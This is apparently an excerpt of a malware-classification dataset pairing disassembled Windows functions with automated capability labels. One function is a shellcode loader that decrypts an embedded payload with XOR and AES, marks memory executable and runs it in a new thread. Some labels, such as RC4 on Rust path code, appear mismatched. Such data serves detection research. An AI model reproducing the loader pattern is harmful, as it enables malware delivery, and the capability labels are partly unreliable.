joyce8/EMBER2024-capa huggingface dataset:
Function at 0x3afc91370
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
mov qword [rbp + 0x20], r8
mov dword [rbp + 0x28], r9d
lea rax, [rbp - 8]
mov dword [rsp + 0x20], 0xf0000000
mov r9d, 0x18
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
call rax
test eax, eax
sete al
test al, al
je 0x3afc913d8
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_in_CryptAcquireContextW___u__n
mov rcx, rax
call sym.printf_char_const__::_
jmp 0x3afc91553
mov rax, qword [rbp - 8]
lea rdx, [rbp - 0x10]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
mov edx, 0x800c
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
call rax
test eax, eax
sete al
test al, al
je 0x3afc9142a
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_in_CryptCreateHash___u__n
mov rcx, rax
call sym.printf_char_const__::_
jmp 0x3afc91553
mov rax, qword [rbp - 0x10]
mov ecx, dword [rbp + 0x28]
mov rdx, qword [rbp + 0x20]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptHashData]
call rax
test eax, eax
sete al
test al, al
je 0x3afc91472
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_in_CryptHashData___u__n
mov rcx, rax
call sym.printf_char_const__::_
jmp 0x3afc91553
mov rcx, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
lea rdx, [rbp - 0x18]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8, rcx
mov edx, 0x6610
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
call rax
test eax, eax
sete al
test al, al
je 0x3afc914c5
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_in_CryptDeriveKey___u__n
mov rcx, rax
call sym.printf_char_const__::_
jmp 0x3afc91553
mov rax, qword [rbp - 0x18]
lea rdx, [rbp + 0x18]
mov qword [rsp + 0x28], rdx
mov rdx, qword [rbp + 0x10]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
call rax
test eax, eax
sete al
test al, al
je 0x3afc9151d
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_in_CryptDecrypt___u__n
mov rcx, rax
call sym.printf_char_const__::_
jmp 0x3afc91553
mov rax, qword [rbp - 8]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
call rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
call rax
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
call rax
nop
add rsp, 0x50
pop rbp
ret
Function at 0x3afc915df
Capabilities:
Create thread

Disassembly:
push rbp
mov eax, 0x16260
call fcn.3afc92560
sub rsp, rax
lea rbp, [rsp + 0x80]
mov r9d, 0
lea r8, str.Gemini_Security
lea rax, str.Welcome_
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxA]
call rax
mov word [rbp + 0x161c5], 0x3412
mov byte [rbp + 0x161c7], 0x56
lea rax, [rbp - 0x40]
lea rdx, [0x3afc99148]
mov ecx, 0x16200
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov dword [rbp + 0x161dc], 0x16200
mov r9d, 4
mov r8d, 0x3000
mov edx, 0x16200
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x161d0], rax
cmp qword [rbp + 0x161d0], 0
jne 0x3afc916a3
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_to_Allocate_memory___u__n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0xffffffff
jmp 0x3afc917f7
lea rcx, [rbp + 0x161c5]
mov edx, dword [rbp + 0x161dc]
lea rax, [rbp - 0x40]
mov r9d, 3
mov r8, rcx
mov rcx, rax
call sym.XOREncrypt_char__unsigned_long__char__unsigned_long_
lea rcx, [rbp + 0x161c5]
mov edx, dword [rbp + 0x161dc]
lea rax, [rbp - 0x40]
mov r9d, 0
mov r8, rcx
mov rcx, rax
call sym.DecryptAES_char__unsigned_long__char__unsigned_long_
lea rdx, [rbp - 0x40]
mov rax, qword [rbp + 0x161d0]
mov r8d, 0x16200
mov rcx, rax
call sym.memmove
lea rdx, [rbp - 0x44]
mov rax, qword [rbp + 0x161d0]
mov r9, rdx
mov r8d, 0x20
mov edx, 0x16200
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
test eax, eax
sete al
test al, al
je 0x3afc91752
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_to_change_memory_protection___u__n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0xfffffffe
jmp 0x3afc917f7
mov rax, qword [rbp + 0x161d0]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp + 0x161c8], rax
cmp qword [rbp + 0x161c8], 0
jne 0x3afc917b8
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_to_Create_the_thread___u__n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0xfffffffd
jmp 0x3afc917f7
mov rax, qword [rbp + 0x161d0]
mov rdx, rax
lea rax, str._n_nalloc_mem_:__p_n
mov rcx, rax
call sym.printf_char_const__::_
mov rax, qword [rbp + 0x161c8]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x161d0]
call rax
mov eax, 0
add rsp, 0x16260
pop rbp
ret

Function at 0x3afc919a0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x3afc91a10
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x3afcb2064]
mov rbx, rcx
test esi, esi
jle 0x3afc91b40
mov rax, qword [0x3afcb2068]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x3afc91a5b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x3afc91ae5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x3afc91a40
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x3afc91b62
mov rax, qword [0x3afcb2068]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x3afcb2068]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x3afc91b47
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x3afc91ade
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x3afc91af0
add dword [0x3afcb2064], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x3afcb2068]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x3afc91ade
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x3afc91a68
mov rax, qword [0x3afcb2068]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x3afc91ee0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x3afcb20a0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x3afcb2080]
test rbx, rbx
je 0x3afc91f3c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x3afc91f33
test rsi, rsi
je 0x3afc91f33
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x3afc91f18
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x3afc92150
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x3afc92168
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x3afc92170
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x3afc92180
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x3afc921cd
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x3afc921c4
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x3afc921cf
add rax, 0x28
cmp rax, r9
jne 0x3afc921b0
xor eax, eax
ret

Function at 0x3afc921d0
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x3afc92260
mov rdx, qword [0x3afcaf8f0]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x3afc9224e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x3afc9224e
cmp word [rax + 0x18], 0x20b
jne 0x3afc9224e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x3afc92260
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x3afc92239
add rbx, 0x28
cmp rbx, rdi
je 0x3afc92260
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x3afc92230
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x3afc92270
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x3afcaf8f0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x3afc92290
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x3afc92298
ret
cmp word [r8 + 0x18], 0x20b
jne 0x3afc92290
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x3afc922ed
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x3afc922e4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x3afc92290
add rax, 0x28
cmp rax, r9
jne 0x3afc922d0
xor eax, eax
ret

Function at 0x3afc922f0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x3afcaf8f0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x3afc9230f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x3afc92318
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x3afc9230f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x3afc92330
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x3afcaf8f0]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x3afc92350
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x3afc92358
ret
cmp word [rdx + 0x18], 0x20b
jne 0x3afc92350
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x3afc923a0
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x3afc92397
test rcx, rcx
je 0x3afc92350
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x3afc92388
xor eax, eax
ret
Function at 0x3afc923b0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x3afcaf8f0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x3afc923cf
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x3afc923d8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x3afc923f0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x3afcaf8f0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x3afc92410
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x3afc92418
ret
cmp word [r8 + 0x18], 0x20b
jne 0x3afc92410
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x3afc92410
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x3afc92464
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x3afc92470
add rdx, 0x28
cmp r9, rdx
jne 0x3afc92450
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x3afc92480
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x3afcaf8f0]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x3afc924a2
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x3afc924b0
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x3afc924a2
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x3afc924a2
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x3afc924a2
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x3afc92505
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x3afc92518
add rdx, 0x28
cmp rdx, r10
jne 0x3afc924f0
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x3afc92527
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x3afc92537
mov edx, dword [rax + 0xc]
test edx, edx
je 0x3afc9250e
test ecx, ecx
jg 0x3afc92520
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x140003cfc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140003d46
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140003d46
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140003d46
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140003d46
cmp dword [rcx + 0x84], 0xe
jbe 0x140003d46
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140003d48
xor al, al
add rsp, 0x28
ret
Function at 0x140001b50
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov edi, ecx
test ecx, ecx
mov ecx, 1
je 0x140001b6a
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rbx, rax
call sub.tiff.dll_TIFFGetVersion
mov r8, rax
lea rdx, str._s_n_n
mov rcx, rbx
call fcn.140001010
lea r8, str.Convert_a_greyscale_image_to_bilevel_using_dithering_n_nusage:_tiffdither__options__input.tif_output.tif_nwhere_options_are:_n__r_______make_each_strip_have_no_more_than__rows_n__t_______set_the_threshold_value_for_dithering__default_128__n__f_lsb2msb____force_lsb_to_msb_FillOrder_for_output_n__f_msb2lsb____force_msb_to_lsb_FillOrder_for_output_n_n__c_lzw_:opts__compress_output_with_Lempel_Ziv__Welch_encoding_n______________set_predictor_value_n____For_example___c_lzw:2_for_LZW_encoded_data_with_horizontal_differencing_n__c_zip_:opts__compress_output_with_deflate_encoding_n______________set_predictor_value_n__c_packbits___compress_output_with_packbits_encoding_n__c_g3_:opts___compress_output_with_CCITT_Group_3_encoding_n____Group_3_options:_n____1d_________use_default_CCITT_Group_3_1D_encoding_n____2d_________use_optional_CCITT_Group_3_2D_encoding_n____fill_______byte_align_EOL_codes_n____For_example___c_g3:2d:fill_for_G3_2D_encoded_data_with_byte_aligned_EOLs_n__c_g4_________compress_output_with_CCITT_Group_4_encoding_n__c_none_______use_no_compression_algorithm_on_output_n_n
mov rcx, rbx
lea rdx, [0x1400037a4]
call fcn.140001010
mov ecx, edi
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
Function at 0x14000ddb0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
test r8, r8
je 0x14000de2a
mov rax, rdx
mov rdx, qword [rsp + 0x70]
mov esi, ecx
shr esi, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov rbx, rax
movzx edi, byte [rax + 1]
add rax, 2
lea r10, [r11 + rdi]
cmp byte [rbx], sil
jne 0x14000de20
cmp r10, r11
jb 0x14000dec3
cmp r10, rdx
ja 0x14000ded7
add r11, r9
xor ebx, ebx
nop dword [rax]
cmp rdi, rbx
je 0x14000de22
lea r14, [rbx + 1]
cmp byte [r11 + rbx], cl
mov rbx, r14
jne 0x14000de00
jmp 0x14000de97
ja 0x14000de2a
mov r11, r10
cmp rax, r8
jne 0x14000ddd2
mov rdx, qword [rsp + 0x80]
test rdx, rdx
je 0x14000de9b
mov r8, qword [rsp + 0x78]
add rdx, r8
movzx ecx, cx
mov al, 1
nop word cs:[rax + rax]
lea r10, [r8 + 1]
movzx r9d, byte [r8]
test r9b, r9b
js 0x14000de70
mov r8, r10
sub ecx, r9d
jns 0x14000de8e
jmp 0x14000de9d
cmp r10, rdx
je 0x14000dea9
movzx r10d, byte [r8 + 1]
add r8, 2
and r9d, 0x7f
shl r9d, 8
or r9d, r10d
sub ecx, r9d
js 0x14000de9d
xor al, 1
cmp r8, rdx
jne 0x14000de50
jmp 0x14000de9d
xor eax, eax
jmp 0x14000de9d
mov al, 1
and al, 1
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, str.called__Option::unwrap____on_a__None__valueassertion_failed:__buf.is_empty__
lea r8, str.librarycore_srcunicodeprintable.rs
mov edx, 0x2b
call fcn.1400577a0
ud2
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r11
mov rdx, r10
call fcn.140057ce0
ud2
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r10
call fcn.140057c60
ud2
Function at 0x140012380
Capabilities:
Get common file path

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x478
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x3f0], 0xfffffffffffffffe
mov qword [rbp + 0x3e0], rcx
mov qword [rbp + 0x3c8], 2
xorps xmm0, xmm0
movups xmmword [rbp + 0x3d0], xmm0
mov r8d, 0x200
mov eax, 2
mov qword [rbp + 0x3e8], rax
xor edi, edi
xor ebx, ebx
xor r12d, r12d
cmp r8, 0x201
jae 0x140012410
jmp 0x1400123ff
jae 0x1400124d0
cmp r8, 0x201
jae 0x140012410
mov esi, 0x200
lea r13, [rbp - 0x58]
mov r15, r8
jmp 0x140012468
sub r8, r12
sub rbx, r12
cmp rbx, r8
jae 0x14001243f
lea rcx, [rbp + 0x3c8]
mov rdx, r12
call fcn.140058010
mov rax, qword [rbp + 0x3c8]
mov qword [rbp + 0x3e8], rax
mov rdi, qword [rbp + 0x3d0]
mov eax, 0xffffffff
cmp rdi, rax
mov r12d, 0xffffffff
cmovb r12, rdi
mov qword [rbp + 0x3d8], r12
mov rbx, rdi
mov rsi, r12
mov r13, qword [rbp + 0x3e8]
mov r15, r12
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov ecx, r15d
mov rdx, r13
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov r14d, eax
test eax, eax
jne 0x140012491
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x140012538
mov r8d, r14d
cmp r15, r8
jne 0x1400123f0
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x14001255b
add r15, r15
mov eax, 0xffffffff
cmp r15, rax
cmovae r15, rax
mov r8, r15
cmp r8, 0x201
jb 0x1400123ff
jmp 0x140012410
cmp rsi, r8
jb 0x140012575
lea rcx, [rbp + 0x3a8]
mov rdx, r13
call fcn.140014470
movups xmm0, xmmword [rbp + 0x3a8]
movups xmm1, xmmword [rbp + 0x3b8]
mov rsi, qword [rbp + 0x3e0]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
test rdi, rdi
je 0x140012521
add rdi, rdi
mov r8d, 2
mov rcx, qword [rbp + 0x3e8]
mov rdx, rdi
call fcn.140046590
mov rax, rsi
add rsp, 0x478
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov rsi, qword [rbp + 0x3e0]
mov qword [rsi], rax
mov byte [rsi + 0x18], 2
test rdi, rdi
jne 0x140012509
jmp 0x140012521
lea rcx, str.internal_error:_entered_unreachable_codeassertion_failed:_self.is_char_boundary_new_len__rustc_d5c2e9c342b358556da91d61ed4133f6f50fc0c3library_alloc_src_string.rs
lea r8, str.library_std_src_syswindowsmod.rs
mov edx, 0x28
call fcn.1400577a0
jmp 0x14001258a
lea rax, str.library_std_src_syswindowsmod.rs
mov rcx, r8
mov rdx, rsi
mov r8, rax
call fcn.140057c60
ud2
Function at 0x140014e70
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
mov rdi, rdx
movzx ebp, byte [rdx + 0x38]
xor ebx, ebx
cmp bpl, 1
setne dl
mov eax, 0
sbb eax, eax
mov rsi, rcx
or al, dl
movzx ecx, al
cmp cl, 0xff
je 0x140014ea0
test ecx, ecx
jne 0x140014ef0
movzx ebx, byte [rdi + 0x3a]
cmp al, 0xff
je 0x140014eac
test ecx, ecx
jne 0x140014ef0
mov rcx, rdi
call fcn.140014d50
movzx eax, al
test bpl, bpl
jne 0x140014ef7
lea rdx, [rdi + 0x10]
xor ecx, ecx
cmp byte [rdi + 0x10], 6
cmove rdx, rcx
je case.0x140014ee3.2
movzx r8d, byte [rdx]
mov ecx, 6
lea r9, [0x140015068]
movsxd r8, dword [r9 + r8*4]
add r8, r9
jmp r8
mov rcx, qword [rdx + 0x10]
add rcx, 4
jmp case.0x140014ee3.2
xor eax, eax
test bpl, bpl
je 0x140014ebc
xor ecx, ecx
add rax, rcx
movzx r10d, bl
lea rcx, [rax + r10]
mov rdx, qword [rdi + 8]
cmp rdx, rcx
jb 0x140015049
mov r11, qword [rdi]
lea r8, [r11 + rcx]
cmp rdx, rcx
jne 0x140014f2a
movzx r9d, byte [rdi + 0x10]
xor r10d, r10d
jmp 0x140014fa9
movzx r9d, byte [rdi + 0x10]
add rax, r10
sub rax, rdx
inc rax
lea rdi, [rdx + r11]
dec rdi
xor r10d, r10d
cmp r9b, 3
jae 0x140014f70
nop dword [rax + rax]
cmp byte [rdi], 0x5c
je 0x140014f8b
inc rax
dec rdi
cmp rax, 1
jne 0x140014f50
jmp 0x140014fa9
movzx ebx, byte [rdi]
cmp ebx, 0x2f
je 0x140014f8b
cmp ebx, 0x5c
je 0x140014f8b
inc rax
dec rdi
cmp rax, 1
jne 0x140014f70
jmp 0x140014fa9
neg rax
add rcx, rax
inc rcx
cmp rdx, rcx
jb 0x140015057
add r11, rcx
mov r10d, 1
mov r8, r11
sub rdx, rcx
je 0x140014fd3
mov al, 9
cmp rdx, 2
je 0x140014fd7
cmp rdx, 1
jne 0x140014fe7
cmp byte [r8], 0x2e
jne 0x140014fe7
xor eax, eax
cmp r9b, 3
setae al
lea eax, [rax + rax*2]
add eax, 7
jmp 0x140014fe7
mov al, 0xa
jmp 0x140014fe7
cmp byte [r8], 0x2e
jne 0x140014fe7
cmp byte [r8 + 1], 0x2e
sete al
xor al, 9
add r10, rdx
mov qword [rsi], r10
mov byte [rsi + 8], al
mov qword [rsi + 0x10], r8
mov qword [rsi + 0x18], rdx
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
ret
mov rcx, qword [rdx + 0x10]
mov rdx, qword [rdx + 0x20]
lea r8, [rdx + 1]
test rdx, rdx
cmove r8, rdx
add rcx, r8
add rcx, 8
jmp case.0x140014ee3.2
mov rcx, qword [rdx + 0x10]
mov rdx, qword [rdx + 0x20]
lea r8, [rdx + 1]
test rdx, rdx
cmove r8, rdx
add rcx, r8
add rcx, 2
jmp case.0x140014ee3.2
mov ecx, 2
jmp case.0x140014ee3.2
lea r8, str.library_std_srcpath.rs
call fcn.140057be0
ud2
lea r8, str.library_std_srcpath.rs
call fcn.140057be0
ud2